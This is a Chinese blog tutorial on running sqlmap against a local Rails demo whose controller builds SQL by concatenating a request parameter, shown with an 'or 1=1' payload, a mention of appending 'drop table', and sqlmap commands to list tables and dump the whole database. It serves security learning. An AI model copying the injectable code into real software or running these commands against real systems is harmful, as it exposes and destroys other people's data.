SQLMAP的使用(rails 为例)

1.启动一个项目,例如rails学习的项目,修改config/database.yml,

假设来一个接口

class YourModel::YourController < ApplicationController
def test_sqli
  sql = "select * from your_table_name where id = " + params[:my_id] + " or 1 = 1"
  @blogs = ActiveRecord::Base.connection.execute(sql)
end

我们启动之后,可以正常访问接口,返回的是博客数据。例如我在本地启动一个测试的demo:

controller:

class Api::BlogsController < ActionController::Base
  def sqli_test
    sql = "select * from blogs where id = " + params[:blog_id] #+ " or 1 = 1"
    #sql = "select * from blogs where id = " + params[:blog_id] + " or 1 = 1"
    @blogs = ActiveRecord::Base.connection.execute(sql)
    render json: {
      blogs: @blogs
    }   
  end 
end

routes:

  namespace :api do                                                                   |~                                                                                     
    resources :blogs do                                                               |~                                                                                     
      collection do                                                                   |~                                                                                     
        get :sqli_test                                                                |~                                                                                     
      end                                                                             |~                                                                                     
    end                                                                               |~                                                                                     
                                                                                      |~                                                                                     
  end 

url:

http://localhost:3000/api/blogs/sqli_test?blog_id=2

返回的是博客的数据:

{
  "blogs": [
    {
      "id": "2",
      "title": "test",
      "time": null,
      "content": "

test

\r\n\r\n

 

\r\n", "created_at": "2023-12-12 01:06:20.234003", "updated_at": "2023-12-12 01:06:20.234003", "url": null, "edit_url": null, "category": null, "category_id": null, "is_top": "f" } ] }

SQLMAP的使用(rails 为例)_第1张图片

但是这种写法会把数据库的权限暴露出去,会被人占领,也就是说你的机器会被人直接拿到root,

例如我把注释的or 1=1取消注释,那么接口就会返回所有的博客数据:

SQLMAP的使用(rails 为例)_第2张图片

或者我恢复注释,在请求参数中增加,返回的也是blog的所有的数据:

SQLMAP的使用(rails 为例)_第3张图片

这就是黑客手法,就是没有权限,因为1=1是永远都是true

这就是通过修改参数来改变SQL的行为,我们本来是希望当前的用户只能查到某个的id的内容,但是他一下子就把所有的内容都拿到了。

那么这里暴露出来的点就是越权,超越了他能读取的权限,比如说我们让普通用户只能读取普通的 用户的,管理员能读取所有人的,那么他瞬间就让自己提升了权限, 成为了管理员,进一步的话,他能把整个数据库给删除掉。比如说,他可以在or 1 = 1之后增加一个分号,增加一个drop table/database,但是还有更高级的,他能拿到整个数据库的root权限,甚至拿到这个主机,

SQLmap是一个工具,一个非常强大的工具,里边包含了几百种SQL注入的攻击方式,sql注入学的话可能需要学习半年一年,有很多很多,

有一些博士,他在两百多种攻击方式里贡献了一条,那么他就可以毕业了。SQLMAP的使用(rails 为例)_第4张图片

他会根据不同的数据库类型进行不同的构造:

SQLMAP的使用(rails 为例)_第5张图片

SQLMAP的使用(rails 为例)_第6张图片

我们已经有了sqlmap,那么我们可做一个脚本小子,意思是我们对原理不太懂,但是能让我用这个脚本,我就可以用的很好。在sqlmap的github或者使用命令查看帮助:

python3 /workspace/sqlmap-dev/sqlmap.py -h

 可以使用target,来进行注入

SQLMAP的使用(rails 为例)_第7张图片

使用-p 增加参数:

SQLMAP的使用(rails 为例)_第8张图片

例如:

python3 /workspace/sqlmap-dev/sqlmap.py -u http://localhost:3000/api/blogs/sqli_test?blog_id=2 -p blog_id

返回了这样一些内容:

SQLMAP的使用(rails 为例)_第9张图片

SQLMAP的使用(rails 为例)_第10张图片 

 使用--tables可以得到所有的table信息:

python3 /workspace/sqlmap-dev/sqlmap.py -u http://localhost:3000/api/blogs/sqli_test?blog_id=2 -p blog_id --table

SQLMAP的使用(rails 为例)_第11张图片

使用dump  可以进行数据库的备份:

SQLMAP的使用(rails 为例)_第12张图片 

python3 /workspace/sqlmap-dev/sqlmap.py -u http://localhost:3000/api/blogs/sqli_test?blog_id=2 -p blog_id --dump-all

在日志里会进行信息的输出:

SQLMAP的使用(rails 为例)_第13张图片

 可以ctrl c 取消备份。

你可能感兴趣的:(数据库,oracle)